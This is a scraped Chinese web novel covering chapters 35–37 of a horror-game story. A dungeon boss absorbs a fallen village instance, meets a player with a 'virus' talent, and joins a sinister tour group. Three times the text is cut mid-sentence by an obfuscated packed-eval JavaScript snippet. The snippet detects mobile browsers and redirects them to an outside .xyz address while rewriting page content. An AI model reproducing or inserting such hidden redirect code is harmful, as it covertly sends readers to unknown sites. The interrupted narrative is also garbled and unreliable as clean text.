“作为荒村副本的Boss,我认输。无论你想吞噬我,还是选择离开这里,我都不会阻拦。但我只有一个请求,请你们放过阿鹂。” 虞绛环视四周,沉声道:“原来真正的Boss是你……这一切,果然是你为她一手打造的舞台,还安排了她想看的演出。” 阿喜婆这才像是从梦中惊醒般冲了过来,猛地掐住唢呐陈的脖子,泪水夺眶而出,砸在他脸上。 “你该死……你这个自以为是的骗子,骗子!” 唢呐陈却露出了心满意足的笑容,脸色被掐得涨红,依旧没有反抗,只是颤巍巍地将一只白色灯笼塞进她手中。 “这是我的命门。”他说,“灯灭人死。这条命,是我欠你的。” 虞绛静静站在他们身后,眼看那可怜的女人面对人生悲剧的源头,终于爆发出深藏已久的情绪。 她只见阿喜婆的身躯微微颤抖,不知是在哭,还是在笑。 片刻后,那盏白色灯笼,在她手中熄灭了。 夜色迅速褪去,晨光破晓而至,洒在湿润泥地上。曾笼罩村庄的阴冷与沉寂像被一瞬驱散,残破的村舍重新沐上了淡淡的金光。 阿喜婆站了起来,带着了结一切的快意和茫然。她没有再看一眼倒下的男人,只是转过身,抱起了那只被匕首刺穿的蜘蛛。 “那年我被锁在那张脏臭的床上,腿断了,下不了床……”她轻声说,“我看到房间角落结网的蜘蛛。” “那时我就想,如果我是一只蜘蛛就好了。有八条腿,断一条还有七条。下不了地,也可以靠结网移动。若我是蜘蛛,或许就能逃出去吧。” “后来在副本里,我一直期望饰演新娘的,是一只蜘蛛。没想到,是那个骗子……实现了我的愿望。” “我一次次看着蜘蛛新娘,想着她能不能靠自己逃出去,结果每次都失败。她逃不出去,我也一样困在这里。” 她低头看着怀中的尸体,呢喃:“但这次,我想试着走出去了。” 阿喜婆抬起头,目光直视虞绛:“你要拦我吗?” 虞绛摇了摇头,轻声问:“我曾问过你,新娘该怎么称呼。我听别人叫你阿鹂,但我想听你自己说。” 阿喜婆怔了怔,嘴角缓缓绽出一抹淡淡的笑意:“我叫陆鹂。” “陆鹂。”虞绛郑重地点头,“你要去哪?” 陆鹂望向远方那座城市中心的钟塔,目光坚定:“我来自雾城,是省歌舞团的歌唱演员。我想回到曾经工作的舞台看看……那里,才是我本该发光发热的人生。” 说完,她头也不回地走向村口。这一次,她和怀里的蜘蛛终于可以彻底走出这个村子了。 虞绛望着她的背影,感受到笼罩荒村副本的禁锢正在悄然瓦解,伴随着陆鹂轻声的哼唱。 “梨花落,南山墙。 合卺酒烈入喉肠,长路漫漫不思量。 只盼从君归故里,执手长相望。 鸡犬相闻烟火暖,琴瑟和鸣梦里香 …… 井中魂,坟头香。 血灯挑影断愁肠,可怜痴念成荒唐。 但愿此去两相忘,一念断红妆。 黄泉路冷梦一场,枯骨无声旧夜长。” 35. “病毒”沈目空 虞绛定定地看着面前倒下的刘锦舟,他的脸上带着安详的神情,仿佛终于从梦魇中得到安眠。一旁的蜡烛早已熄灭,滚落在泥土里。 这对原本意气风发、前程似锦的少年恋人,在这个噩梦般的山村里被困二十多年,直到青涩面庞被岁月雕刻成暮年枯朽。 如今,他们终于迎来了各自的解脱。 虞绛轻轻叹了口气,从怀中摸出震动已久的老式手机。 【尊敬的副本Boss,您的F级副本《蜡妹棋牌室》截至目前共营业1轮,共计收获心跳值500点。另外,检测到C级副本《荒村婚宴宾客须知》的副本Boss刘锦舟已死亡,副本空间即将崩溃。 请问您是否选择同化该副本?】 她毫不犹豫地按下了“是”。 【系统清算中…… C级副本《荒村婚宴宾客须知》本轮收获心跳值5000点,累计总额15000点。扣除系统手续费后,您将继承5000点心跳值。】 系统抽成比例竟然高达三分之二,这比晋江还黑! 好狗的资本家,虞绛暗骂一声。 【尊敬的副本Boss,您的副本《蜡妹棋牌室》累计心跳值共计5500点,恭喜晋升为D级副本。 副本升级后,营业时长、NPC人数、空间容量均已提升。以下为最新副本面板: 副本等级:D级(心跳值5000-20000点) 是否为主线副本:否 副本游戏:捉迷藏、麻将 副本道具:坏掉的怀表、小鬼牌、萝卜麻将(新)、命灯(新)、犀角香(新)、宾客须知手册(新) 营业时长:24小时 副本NPC:虞绛(副本Boss)、陆骁(临时工),已额外解锁正式编制3名 Boss技能:黑夜潜行、獠牙利齿、镜中穿梭、蜘蛛新娘(新)、泯然众人(新)】 本以为非主线副本没有通关奖励,没想到阴差阳错,竟捡了波大漏! 不仅继承了5000点心跳值,还直接把自家副本拉到D级,这下虞绛终于摆脱副本排行榜垫底位了! 这次的战利品也相当可观:命灯给玩家强加了需要保护的物理血条,犀角香能召唤出亡灵,宾客须知手册则能设定副本规则,只要玩家看见便会生效。 至于新获取的Boss技能,“蜘蛛新娘”具备吐丝能力和疾跑加速。 而“泯然众人”则来自刘锦舟本体,可显著弱化自身存在感,即便在爱人身侧潜伏多年也不被察觉。 一想到回到西八区后,自己即将从吊车尾一跃而成整条街顶端的大佬,她觉得整个人都轻盈了起来。 “虞老板……我们这就算是通关了?”陆骁扛着棋牌室的牌匾走近,见她盯着手机泛起迷之微笑,忍不住开口确认。 “没错,我们能出去了。”虞绛收起手机,接过自己的宝贝门牌,一脸郑重地抱在怀里。 沈百希也对这场副本的落幕颇感唏嘘,她正想打开论坛发个攻略暗号帖,忽然想起什么,转头看向正在奋笔疾书的周祺: “不对啊,Boss都死了,你写攻略还有意义吗?” 周祺靠坐在树下,正在本子上写写画画:“不需要了,副本已经随着NPC的死亡崩塌……不过,这次通关过程很有意思,我准备好好复盘一下。” 忽然,他像是想起了什么,略显激动地看向在场唯一格格不入的鬼新郎,急切说道: “我还需要你的视角!我有预感,只要我们好好复盘这次副本,说不定能摸索出通关所有副本的秘诀!” 鬼新郎没有回话,只是抬手解开了披在身上的红色喜袍,露出里面整洁的黑色衬衫与长裤。 他像褪去角色外壳般,周身气场随之剧变,瞬间从鬼片男主转变成都市精英。 可与此同时,男人的眼睛也失去了神采,瞳孔涣散没有焦距。 他熟练拿起手中的圆柱形的短棍,棍子里原本藏匿着一把匕首。 可他却按下另一端的按钮,短棍“咔哒”一声弹出两端,反倒变成了一根撑地的拐杖。 沈百希见状快步上前,熟练地扶住男人,语气不善地冲周祺道:“你倒是让我哥歇一会儿吧!” “你哥?”刘茵茵惊讶地睁大了眼。 男人眼神空洞,却精准地转向虞绛,朝她伸出手:“正式介绍一下,我叫沈目空,天赋是‘病毒’,谢谢你护住了我的同伴。” “这个男人,就是他们提到的‘暗棋’?”刘茵茵在一旁暗自思忖,但她仍然不明白好端端的玩家怎么摇身一变成了关键NPC。 “虞绛,天赋是……”虞绛抬手轻握回去,顿了一下才憋出后半句,“棋牌蜡妹。” 没办法,除了陆骁和刘茵茵已经知道她的底细,她并不希望其他人知晓自己副本Boss的身份。不过,这个临时瞎编的天赋名称,倒也恰巧与刘茵茵糊弄沈百希的借口不谋而合。 沈目空听后眉峰轻挑,似笑非笑地说道:“听起来……很强。” 陆骁则忍不住追问:“说起来,刚才到底发生了什么?那个陆鹂突然像失了智一样,抓了把空气就说要全灭我们,好像看不见我们这几个大活人似的,那些干尸也不听她使唤。” “那就要问这位‘病毒先生’了。”虞绛和沈目空的目光隔空交汇,陷入了回忆。 在陷入大客车幻境之前,虞绛曾短暂清醒过一次。 她睁开眼,映入眼帘的是逼仄的黑暗,自己蜷缩在棺材的一侧,身边贴着沈目空冰凉的身体。 “我敢打赌,”身旁的男人忽然翻了个身,眼神灼灼,“今晚只会比昨天更加凶险。” “那你最好祈祷我别出事,”虞绛冷静回视,“毕竟我们都是玩家,我失败了你也讨不到好。” 沈目空低头闷笑,声音低哑:“既然被你发现了,不如结个盟?” 两人一拍即合,沈目空递给虞绛一个香囊,没详细解释自己的能力,只告诉她香囊里装的是能让NPC产生幻觉的香灰。关键时刻近距离撒在对方面前,就能干扰其行动。 “就这?”虞绛皱着眉头将那灰扑扑的香囊翻来覆去。 香囊里传来熟悉的味道,是这个副本特有的犀角香,可这怎么成了玩家能用的致幻道具? 更何况,虞绛向来擅长暴力硬刚,什么幻觉迷阵的压根不在她的擅长范围内。 “是啊,怎么用就是你的事了。加油,你可是我们的希望!”沈目空说完,便懒洋洋地抱头平躺下去,一副甩手掌柜的模样。 出乎意料的是,后来在她被蜘蛛新娘缠住的那一刻,这香囊居然意外管用。 虞绛在幻境中捏爆打火机,制造了小型爆炸,将全车人卷入了大火。 但现实中,当她被陆鹂与蜘蛛两面夹击之时,实际撕开的正是这个香囊。 特殊香灰被撒向陆鹂和蜘蛛新娘,虞绛还特地往刘锦舟身上洒了几下,也成功迷惑了这位副本Boss。 果然,三个NPC全部陷入【混乱】,虞绛身处的大客车幻境也瞬间破除。 她从头到尾都没有在现实中点过火,而混乱中的陆鹂误以为虞绛引火烧身,得意忘形之下不仅没有避开虞绛的攻击,反倒以为自己成功熄了全体玩家的灯笼。 周围那些原本蠢蠢欲动的干尸,也受到扩散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547556|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的香味影响,停止了行动。 “所以,这个‘病毒’能力是制造幻觉?”刘茵茵追问。 “哪有那么简单。”沈百希挺直了背,骄傲地替亲哥正名。 “我哥进副本,就像病毒侵入系统。一开始会自动顶替副本中某个关键NPC的位置,且不会被Boss察觉。” “随着副本推进,他会逐步‘感染’其他NPC,让他们陷入混乱,甚至操控他们行动,成为刺杀Boss的利器。” “而他给虞小姐的香灰,其实就是他传播病毒的媒介。” “这天赋也太变态了!”刘茵茵咋舌,“怪不得你俩一直胸有成竹的样子,还说什么早已布下了‘暗棋’。” 虞绛却若有所思地望向沈目空,目光悄然落在他手中的盲杖上,又转移到他失焦的双眼。 “变态的天赋,恐怕也付出了不小的代价吧。”她几乎已经可以确定,这人在脱离副本后恐怕就是半个瞎子。 无处寄生的病毒,在空气中能存活多久呢? “对了虞小姐,我得跟你道个歉。”沈百希见她看过来,忽然真挚地对她开口。 “之前误会你被蜡像怪上身,一直防着你来着。没想到你为人正义,天赋也这么厉害,副本能通关多亏你冲锋陷阵。” “没事。”虞绛客气地笑了笑,心里却想:其实你误会得没错。 “要不要加入我们小队?”沈目空忽然开口。 “对呀,一起来吧!”沈百希一听激动起来,“我们小队有超强力的天赋怪物、超细致的攻略军师,还有——超机智可爱聪慧温柔的我,一定不会拖你们后腿的!” 周祺也默默看了过来,静静等待虞绛的回答。 虞绛露出尴尬又不失礼貌的微笑,指向身后的刘茵茵和陆骁:“谢谢你们的邀请,但我习惯单干了,你看我还有两个员工要养呢。” 刘茵茵和陆骁:嗯?这就被安排好长期打工了吗? 看着沈百希失望的表情,虞绛心中也十分无奈。其实她并不介意和玩家结盟,可刚刚听了沈目空的“病毒”天赋,全程代入副本Boss角色的自己只觉得心惊肉跳。 试问,要是哪天自己的蜡像们也被病毒感染,再也不是可爱的亲亲员工,反而集体拿电锯反杀自己,这难道不是副本Boss的恐怖片吗! 闻言,沈目空垂下眼帘,掩去一丝不易察觉的遗憾:“那就祝你们之后的游戏顺利。” 他顿了顿,又笑着补充:“我们接下来准备前往中心区,如果顺利也会继续发布中心区副本攻略的接头帖子。如果你们有兴趣,还可以线下交流。” 虞绛听到“中心区”三个字,神色微动:“你们知道怎么去中心区?” 沈目空的嘴角微微扬起:“大家都知道,心跳之城的中心区被一圈高墙包围,只有一扇主城门连通了北四区。不过,要想通过主城门,得缴纳十万心跳值的‘落户费’。” “十万?”虞绛差点跳了起来,下意识地紧紧攥住手机,账上躺着自己仅有的5500心跳值。 “系统怎么不直接去抢?!” 沈目空轻笑:“对大多数玩家来说,确实是个天价数字。不过……也不是没有别的办法。” 他话锋一转,娓娓道来:“有一列城际动车,沿着中心区外围的环线运行。动车共设四个站点,连通了东西南北四城的第四区。” “传闻说,只要在午夜十二点,从任意一个站点登车,在列车绕行一圈返回上车点之前,成功找到那节不存在的九号车厢……” 他停顿了一下,唇角勾起: “就能抵达动车隐藏的第五个站点,中心区站。” 36. 小红帽旅行团(一) 虞绛闻言眼前一亮:“我也要去!” 沈目空嘴角勾起一丝得逞的笑意:“那不如结伴?” “不过不是现在。”虞绛紧接着摆手补充,“我答应了一个人,通关副本后要帮他一个忙。” 沈目空神色微顿,笑意隐去几分。沈百希见状,连忙出来打圆场:“那就由我们先去探路吧!等你们准备好上车的时候,说不定攻略都给你写好了!” 说着,她有些不舍地抱住了刘茵茵:“记得时刻关注论坛上的攻略贴哦!下一次,我们在中心区见吧!” 几人简单道别,便各奔东西。沈目空拄着盲杖,在沈百希的引导下前行,虽然看不见,但走路速度和正常人无异。 周祺仍沉浸在复盘中,时不时停下脚步,在小本上写写画画。 “虞老板,你答应了谁啊?”陆骁好奇发问。一旁的刘茵茵则恋恋不舍地看着沈百希的背影,为不能和他们结伴感到遗憾。 “还能是谁,裴翎那家伙呗。”虞绛不情愿地碎碎念,“出发前我答应了他,副本结束后要帮他做一件事,所以我们得先回一趟西八区。” “等等……”刘茵茵突然反应过来,“我们现在是在南六区,怎么回去?走回去?” 他们三个当初可是坐着自动行驶的花轿来的,如今副本崩坏,哪还剩下什么交通工具。 虞绛也意识到这个问题,但还是一把拎起招牌,潇洒地大步走了出去。 “别担心,现在天色尚早,不会遇到流窜的喰鼠,副本外也没太多危险。” 太阳高悬于顶,阳光直射在身上有些发烫,刘茵茵和陆骁满面愁容地对视了一眼,只好认命地跟上了虞绛的步伐。 “叮铃铃——” 他们刚走出村口的牌坊,远处便传来清脆的车铃声,一辆破旧三轮车迎面驶来。 “裴翎!”虞绛眼尖地认出了来人,立刻挥手大喊。 那辆仿佛随时要散架的三轮车嘎吱一声停在面前,裴翎从车头跨下,机械右臂在阳光下泛着冷光。他满脸胡渣,背心上还沾着污迹,一看就是风尘仆仆赶来的模样。 “全身而退,了不起。”他打量着虞绛,语气里颇有些调侃,“没想到你真能从C级副本里活着出来。” “你在小看谁?!”虞绛不服气地扬眉,立刻嘚瑟道,“不仅活着出来,我现在还是D级副本Boss了!” “裴先生,你是特意来接我们回去的吗?”刘茵茵看向三轮车的眼神满是期待,终于不用靠走的了。 “不是回去。”裴翎一改调侃的语气,看向虞绛:“你还记得你答应过我什么吧?” 虞绛双臂环抱,挑眉道:“这么急就来催债,我还真想听听,你到底要我帮什么忙?” “我要你帮我找一段记忆。” 裴翎伸出银光闪闪的机械右臂,神情有些怅然:“我曾在一个副本中失去了右臂,可收留我的废品站老板只告诉我,我是因为违反规则被系统惩罚,才被斩去手臂……” “可那段记忆,我完全想不起来了。我不知道自己在什么时候,在哪个副本里,又因为什么事触犯了规则。我想让你帮我,找回那段失落的记忆。” 虞绛望着他那只冰冷的机械臂,心里五味杂陈。 自从她有意识起,隔壁就住着这个戴着机械臂的邻居。她知道,裴翎始终对自己的残缺耿耿于怀,也知道他拼命营业,是为了挣钱维持机械义肢的更换升级。 “既然答应了你,我会做到的。”她沉吟片刻,问道,“你有什么线索吗?总不能大海捞针地瞎找吧?” “最初我脑子一片空白,老板也只说我是突然倒在废品站门口的。”裴翎眉头紧蹙,“不过近几个月,我常常梦见一个地方。” “那是一栋大厦,格局大气、装潢豪华。我不断在楼梯间往上跑,像是被一个强烈的念头驱使着,非要爬到最顶层。可无论我怎么跑,都看不到终点。” “我怀疑,那座楼就是我出事的副本。” 豪华气派的高楼大厦,以及永无止境的楼梯间? 虞绛下意识望向心跳之城中心的那座钟塔:“你说的……该不会是……” “没错,”裴翎点头,“梦中情景与现实中唯一吻合的建筑,只有中心一区的中央大楼。” “我记得新手指南里写过,”陆骁怯怯地举手,“中央大楼那种地方,全是S级副本,甚至连游戏开发组都在里面……我们要去那?” 虞绛已经把手机归还给了他,他和刘茵茵目前的玩家面板在经历了两个副本后,各项数值都有了不小的提升。但对于S级难度的副本区域来说,他们俩简直是毫无还手之力的幼童。 系统规划的下一站是一个C级主线副本,距离进游戏还有2天的休息时间,他们难道现在就要主动越级挑战了吗? 可虞绛却燃起了斗志:“那正好,我也想去那栋楼!毕竟我的目标可是成为S+副本Boss!” 刘茵茵虽然有些害怕,但还是惋惜地叹了口气:“既然咱们下一站就是中心区,早知道就跟着希希他们一起了,人多力量大嘛。” “没关系,我们现在出发,说不定能跟他们上同一班动车呢!”虞绛兴致勃勃地摩拳擦掌,迫不及待地将“城际动车第九节车厢可抵达中心区的传闻”告诉了裴翎。 可裴翎听完却反倒眉头紧锁:“这个传闻确实不假,但……你是不是没有抢过动车票?” “啊?”虞绛和身后的刘茵茵、陆骁三脸懵逼。 裴翎见状觉得好笑:“也是,你这网瘾宅女,估计压根没出过远门。” 他打开手机,点进游戏商店的“动车票务系统”,密密麻麻的班次赫然列出. 可无一例外,二等座全都售罄。 “你看,未来一个月内除了一等座,其他票全都被抢光了。而一等座票价是三万心跳值,我倾家荡产也就刚好买一张,你有这个钱吗?” 虞绛目瞪口呆,她从没想过,居然还有抢不到票的情况发生。更何况,一等座的座椅难道是金子做的吗?怎么就能卖到三万一张? 最近这段时间,她愈发切身感受到城市里物价之高,钱根本不值钱了。 “龟龟,这游戏也太真实了吧?我怎么感觉自己梦回寒假,撞上春运抢不到回家票的那阵儿了。”刘茵茵震惊出声,连陆骁都默默点头表示赞同。 见虞绛一脸迷茫,裴翎不再逗她,话锋一转:“我查过了,抢不到票其实还有两种办法。第一种是找黄牛,不过越临近出发时间,票价越贵,估计你也掏不起。” 他说到这,故意顿了一下,卖了个关子:“不过还有一种方法,便宜得多,而且票源充足……” “你倒是说啊!”三人同时追问。 “上车吧,到地方你们就知道了。” *** 《心跳之城》的城市布局是由中心向外扩展的,因此四城中的6至8区大多是荒郊野岭或偏远小镇。 因此,当虞绛一行人乘着破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547557|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧三轮一路往南五区驶去时,周遭景象逐渐变得繁华起来,人口也明显密集了不少。 眼前的街景宛如一个三线小城,人流如织的街道铺着有年代感的老旧地砖,叫卖声与汽车喇叭此起彼伏。一派热闹景象,竟与虞绛曾在幻境中见到的梨香镇有几分相似。 刘茵茵和陆骁像第一次进城似的东张西望:“也太真实了吧!这哪是游戏,分明就是某个现实中的县城。” 陆骁扫过一根贴满小广告的电线杆,补充道:“不过,看起来像是三十多年前的样子。” 不多时,裴翎把三轮车停在一间街角铺子前,门头上赫然写着四个大字——“小红帽旅行社”。 虞绛歪着脑袋一脸疑惑:“不是要买票吗?来旅行社干嘛?” “我知道了!”刘茵茵立刻举手,“我以前也这么干的,节假日买不到票,就报个旅行团蹭车。” 裴翎点了点头,正想解释,却见店铺大门从里头吱呀一声被推开。一个穿着白衬衫的男人满脸堆笑地迎了上来,双手搓得飞快,满脸热情。 “几位贵客,是来咨询旅游的吗?我们可是南城最大的旅行社,主营多条精品线路,要不要了解一下?” 虞绛直奔主题:“你们有没有坐城际动车的路线?就那条连通四个城第四区的。” 男销售闻言,顿时拍手笑道:“哎呀,这不正巧嘛!今天下午就有一班精品深度游小型团要出发,这条线路包括南四、西四、北四三个区的核心景点。 “到达终点北四区后,考虑到游客们舟车劳顿,我们旅行社特地安排了返程的城际动车,让大家能快点回家休息。这个团五点准时出发,现在刚好还剩四个位置!” “也就是说,我们只要参加这个旅行团,就能搭上那趟从北四区回南四区的动车?”虞绛追问。 “是的是的,包可以的。”男销售满脸笑容,点头如捣蒜。 虞绛有点犹豫,小声凑到裴翎耳边:“但这样一来,我们在车上的时间就只有两站,寻找第九节车厢的机会也少了一半。” 男销售看几人似乎有些犹豫,经验老道地掏出一本被翻得起皱的宣传册:“几位看看详细介绍吧。我们这可是限量精品小团,配备空调大巴、专业司机和导游,沿途游览南四区美术馆、西四区动物园、北四区购物城,全程三天两夜包吃包住,最后再附送最难抢到的城际动车票。” 说到动情处,他神秘一笑,语气顿时一转:“这样吧,我一看几位就是有缘人,今天赶巧碰上促销,我就做主给你们放放水,用上员工内购折扣、新客专属优惠券,再叠加四人同行团购价……这么一算下来——” 他熟练地掏出计算器,装模作样地敲了几下,最后猛地一摁,浮夸又惊讶地把数字怼到虞绛眼前。 “不要九千八!不要九九八!只要——九十八点心跳值一位!” “哇!才98!”虞绛眼睛顿时亮了,她激动地惊呼,已然完全被销售带动起了消费情绪。 “虞老板你冷静点!”刘茵茵眼疾手快,一把摁住她几乎要跳起来的肩膀,一脸警觉地低声提醒,“这种宣传话术我见得多了,肯定有猫腻。” 裴翎则淡淡扫了一眼手里的宣传单,语气不紧不慢地道:“可以,就这个套餐吧。” 男销售瞬间绽放出一个热情得近乎渗人的笑容,声音也愈发殷勤:“好嘞,多谢几位贵客赏脸!这边结完账后,几位可以在店里喝茶歇歇,二十分钟后我们旅行团准时从这里发车。” 37. 小红帽旅行团(二) 下午5点整,一辆破旧的面包车准时停在旅行社门口。 男销售满脸热情地替虞绛等人拉开旅行社的玻璃门,指着副驾驶座上刚下来的男子介绍道: “这是你们旅行团的导游,工号555,叫他小五就行。” 那男子戴着红色鸭舌帽,神情腼腆,轻轻向虞绛他们点头致意。他帽檐上印着“小红帽旅行团”的标志,走路一瘸一拐的,左脚明显有些跛。 “各位好,我是本次旅途的导游。行程中我会全程带队,如果有任何需要,随时可以叫我。” 众人简单应声,依次登上面包车。裴翎的三轮车已停在附近,只随身带了一个修理箱。而虞绛作为苦逼的副本Boss,则只能继续背着厚重的牌匾。 “改天我把你的副本门牌改造下,能小巧轻便些。”裴翎难得大发慈悲,轻声承诺道。 车厢内空间逼仄,弥漫着一股莫名的异味。车上已有四位游客坐定,见他们上车,齐齐抬头望来。 两个男人,一个女人和一个小男孩。 其中一个男人衣衫褴褛,黑眼圈浓重,眼神发红,透出不正常的躁狂。另一个则衣着考究,眼神精明,透着一股老油条的气质。 首先出声的反而是第二排的年轻女人,她声音细弱又怯懦地自我介绍:“你们好,我叫阿铃。” 她没有介绍身边的小男孩,看样子两人并不认识。 “你好,我叫虞绛。这是我的同伴——裴翎、刘茵茵、陆骁。”虞绛礼貌回复,随即几人一齐走向面包车的最后两排落座。 小男孩坐在阿铃身边,好奇地转过头来看虞绛,被虞绛发现也毫不回避。 虞绛没搭理这小鬼,一落座耳边便响起熟悉的系统提示音。 她有些惊讶,虽然也猜测过这次的旅行团可能是个副本,但她已将陆骁的手机还了回去,怎么还能听见玩家进入副本的提示音? “叮—— 欢迎进入心跳之城B级非主线副本《小红帽旅行团》,正在为您加载副本背景信息: 小红帽旅行团是心跳之城规模最大的旅行团,与城市里多个热门景点均有合作。我们始终秉持开放包容的理念,欢迎人类玩家与NPC共同参与。 本次路线将游览三个主要景点:南四区走马灯美术馆,西四区迷失动物园,北四区尖叫购物城。旅行团采取集卡制,请在规定时间完成游览到达出口,导游将于出口处等候为您盖上该景点的‘小红章’。 请注意:未盖章将无法离开景点。 温馨提示:本副本为非主线副本,系统不设通关评价与奖励。无论您是人类玩家还是游戏NPC,请在限定时间内尽情体验,但务必确保活着离开。” 系统语音一落,虞绛与裴翎交换了一个意味深长的眼神。 这个副本居然明晃晃地欢迎NPC参加?这在心跳之城中可谓前所未闻。 虞绛不动声色地扫视前面的四名乘客:疯癫的邋遢男,精明的西装男,怯生生的阿铃,还有一直偷看她的小鬼头。 这四人之中,会不会也混进了NPC? *** 面包车一路颠簸,仅半小时便抵达第一站“走马灯美术馆”。虞绛还没来得及打个盹,车便停了下来。 透过窗,虞绛看见所谓的美术馆果然造型独特,长得像一艘巨大的帆船,外墙镶嵌着镭射金属板,在阳光下折射出绚丽斑斓的光芒。 “旅客们,我们已经到达本次旅程的第一站,走马灯美术馆。”全程沉默寡言的导游小五从副驾驶上站了起来,戴上麦克风开口介绍。 “本景点的游览时长为两小时,美术馆内部仅设一条游览路线,请各位按指示牌指引依次前进。请大家务必在两小时内抵达出口,我会在出口处等候,并在每个人的通票上盖章。” “为了不影响后续行程,超过时间没有出来的旅客将视为自动脱团,我们也不会再等。” 说罢,他从副驾驶下了车,乘客们陆续跟着下车。 虞绛走在队伍末尾,经历过荒村副本的大巴车幻境后,她下意识地扫了一眼驾驶座的司机。 司机戴着口罩,沉默寡言、面容难辨。可她却敏锐地注意到他耳后浮现出一个模糊的红色纹身,像是一对红色的翅膀。 她多看了几眼,刚踏下车,就见导游小五将一张卡片递到她面前。 这个腼腆的导游不敢正眼和游客对视,只是小声说道:“请妥善保管旅行通票,切勿遗失。集齐三个景点的小红章后,即可结束旅程,乘上回程列车。” 她将这张通票举到眼前细看,正面印着一个奇形怪状的怪物,四肢和五官像是从不同人身上拆下来直接拼接在一起,处处透着诡异的不协调。 “咦,这通票的背面怎么留下了我的指纹。”刘茵茵惊奇道。 虞绛赶紧翻到背面,发现那一整面设计成三格印章打卡区,对应三个景点。 然而,正如刘茵茵所说,她的拇指竟在右上角赫然留下了一个鲜红清晰的指纹印,可明明她的五根指头都是干干净净的。 “契约。”裴翎开口,“我们拿到这张卡片的时候,就建立了某种契约。如果丢失了卡片或者没能集齐上面的红章,可能会……” “会没命?”陆骁神色一变。 裴翎摇摇头:“倒也不一定,目前看不出来这张契约的代价是什么。” “切,装神弄鬼。”那位邋遢男是个急性子,满不在乎地将卡片揉成一团塞进裤兜里,第一个大步踏进了美术馆入口。 “那么,祝各位旅途愉快。我会在出口等各位归队。”导游将通票分发完毕,向众人简短告别,随后便一瘸一拐地转身离去,步履却意外急促。 一个腿脚不便、又不善言辞的人,为什么会选择导游这种工作? 虞绛心中浮起疑问,然而一回头却意外捕捉到阿铃的目光,她正神色复杂地望着导游远去的背影,不知道在想什么。 “好了,我们也进去吧。”裴翎晃了晃手里的通票,示意三人跟上。精英男和阿铃也回了神,和他们一起走进了美术馆。 虞绛仍走在最后,她身侧紧跟着的,正是那个一路偷偷打量她的小男孩。 终于在通过门口闸机时,虞绛忍无可忍,俯身按住男孩的脑袋,硬生生将他扭回了正前方。 “你从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547558|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才就一直偷看我,想干嘛?” 小男孩闷声说:“我觉得你很像我一个朋友。” “你朋友?你是说我像个小屁孩?”虞绛顿时头大,她可是个发育正常的成年人! “不是的,我的朋友是一只猫。”小男孩倔强又认真地抬头反驳道。 …… 虞绛无语,这比说她像小孩子还离谱。 “虞老板,快来呀!”前头的刘茵茵见她落在后面,回头挥手喊她。 美术馆大厅挑高十米,宽阔而气派。但奇怪的是,大厅里空空荡荡,连一幅展品都没有,只有一块指示牌箭头指向右侧狭长通道,标明为“走马灯长廊”。 此时,裴翎和其他陌生游客已经走入通道,只剩下刘茵茵和陆骁还在门口等她。 “来了。”虞绛不再多言,一把拎起小男孩衣领,快步踏入长廊。 长廊两侧依次陈列着绘画作品,通道宽度仅容两列人并肩缓行,可以分别欣赏左右两边的画作。 起初展出的画作还算正常,有色彩斑斓的印象派风景画,也有技法精妙、笔触写实的油画肖像,每幅画下都附有画家简介与赏析文字。 “咦,这不是博斯的《人间乐园》吗?细节如此细致,难道是真迹?”精明的西装男在一幅画前驻足,那画上描绘了人类从天堂到地狱的繁复图景,绚烂的奇幻色彩填满了画框。 “前面展出的确实是名家之作,不过……”阿铃注意到一处异常,“怎么越往里走,这些画越来越粗糙随意,也没有作者署名介绍,真是让人看不懂。” 虞绛粗略扫了两边,她对绘画没有一点研究,倒也看不出什么名堂。只是直观感受到开头陈列的画作确实更好看、更丰富,但越往里走画风却变得诡异起来。 有一幅是血流了一地的凶案现场,一个男人高举匕首,正朝女人扑去。 也有一副是欢喜的毕业典礼,一群年轻人身穿学士服,在镜头前笑着合影。 怎么说呢,后面的画作没有绘画常见的艺术润色,只有直白生硬的写实描绘,像是从现实生活中硬生生截取的一帧影像定格下来。 不过,既然如导游小五所说,每个景点只需在规定时间内到达出口盖章即可,虞绛也懒得耗费精力揣摩这些画作的深意。 倒是刘茵茵因为头一回进城,又难得脱离了前几个副本阴森恐怖的压抑氛围。此时满眼都是好奇,一边拉着闷不作声的陆骁走走停停,一边叽叽喳喳地对墙上的画作发表观感,像是在逛真正的展馆。 裴翎见状没有耐心停留等候,干脆脚步飞快,径直朝长廊前方探路。 可没走几步,他忽然察觉不对劲。 他在八人团中走在第二位,而第一个冲进来的,是那个精神状态不太稳定的邋遢男人。 一分钟前,两人不过相差十来米。 